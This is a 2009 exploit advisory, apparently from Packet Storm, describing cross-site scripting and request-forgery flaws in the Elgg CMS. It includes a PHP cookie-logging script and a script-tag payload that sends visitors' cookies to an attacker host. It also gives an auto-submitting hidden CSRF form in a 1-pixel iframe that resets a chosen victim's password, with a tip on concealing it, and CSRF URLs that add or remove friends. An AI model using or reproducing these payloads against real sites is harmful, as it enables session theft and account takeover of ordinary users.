Elgg Cross Site Scripting / Request Forgery

2009-06-2300:00:00
ThE Lorddemon
packetstormsecurity.com
JSON
`###################################################################################  
[+] CMS Elgg <1.00 (XSS;CSRF;Cambia Password)Multiple Remote Vulnerabilities  
[+] Discovered By ThE Lorddemon [email protected]  
[+] Vendor:http://elgg.org/  
[+] Greetings: Project MEMI-Bolivia, OpTix, RTM security Group http://zonartm.og  
###################################################################################  
  
Change Password Remotely:  
+++++++++++++++++++++++++  
1) You Must Register In ThE site.  
2) Login  
3) Create a new topic and then edit  
http://www.sitiosocial.com/_templates/  
  
Edit the new topic (Template) have the option to insert HTML, JavaScript  
##################################################################################  
Exploit& HTML Injection  
  
###Cookie Grabber####   
[+] Discovered By ThE Lorddemon  
[+] Vendor:http://elgg.org/  
##################################################################################  
PoC  
--  
Script to store cookies  
<?php  
$cookie = $_GET['cookie'];  
$log = fopen("log.txt", "a");  
fwrite($log, $cookie ."\n");  
fclose($log);  
?>  
uploading to a host.Save as cookie.php  
  
[+]Exploit:  
-------  
1) Register in The SIte  
2) add to the Template  
<script language='Javascript' src='http://localhost/cookie.php?cookie='+document.cooke></script>  
  
The victim would be anyone who comes to your blog.  
  
++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++  
++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++  
++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++  
###Change Pasword####   
[+] Discovered By ThE Lorddemon [email protected]   
[+] http://zonartm.org  
[+] Vendor:http://elgg.org/  
#######################################################################################################  
  
1) Register in The SIte  
2) add to the Template  
  
<body onload="document.forms.g.submit();">  
  
<iframe name="my_frame" ALING="BOTTOM" scrolling=no width=1 heigth=1></iframe>  
  
<form method="POST" target="my_frame" action="http://www.sitiosocial.com/_userdetails/index.php" name="g" id="g">  
<input type=hidden name="name" value="">  
<input type=hidden name="email" value="">  
<input type=hidden name="moderation" value="no">  
<input type=hidden name="publiccoments" value="no">  
<input type=hidden name="receivenotifications" value="no">  
<input type=hidden name="password1" value="password"> <------ Eye with this  
<input type=hidden name="password2" value="password"> <------ Eye with this  
<input type=hidden name="flag[commentwall_access]" value="LOGGED_IN">  
<input type=hidden name="lang" value="">  
<input type=hidden name="flag[sidebarsidebar-profile]" value="yes">  
<input type=hidden name="flag[sidebarsidebar-communities]" value="yes">  
<input type=hidden name="flag[sidebarsidebar-blog]" value="yes">  
<input type=hidden name="flag[sidebarsidebar-friends]" value="yes">  
<input type=hidden name="visualeditor" value="yes">  
<input type=hidden name="action" value="userdetails:update">  
<input type=hidden name="id" value="id_victima"> <---------Eye with this  
<input type=hidden name="profile_id" value="id_victima"> <---------Eye with this  
</form>  
  
It is better to send all the form inside a Div tag to pass unnoticed  
  
The victim would be the user with the id.  
++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++  
++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++  
++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++  
###You Be More Popular, or remove the victim to Friends####   
[+] Discovered By ThE Lorddemon [email protected]   
[+] http://zonartm.org  
[+] Vendor:http://elgg.org/  
#################################################################################################################  
  
1) Register in The SIte  
2) Add to the Template  
  
http://www.sitioSocial.com/mod/friend/index.php?friends_name=[vacio]&action=friend&friend_id=[tu id]  
  
viewing parameters from the viewpoint of the attacker.  
  
Friends_name=is the user name who made you want to be your friend. (may be empty)  
Action= friend or unfriend.  
Friend_id=User ID. who is performing the action  
  
You can also remove it with friends cuanquier user.  
  
http://www.sitioSocial.com/mod/friend/index.php?friends_name=[vacio]&action=Unfriend&friend_id=[id_victima]  
  
++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++  
  
`
JSON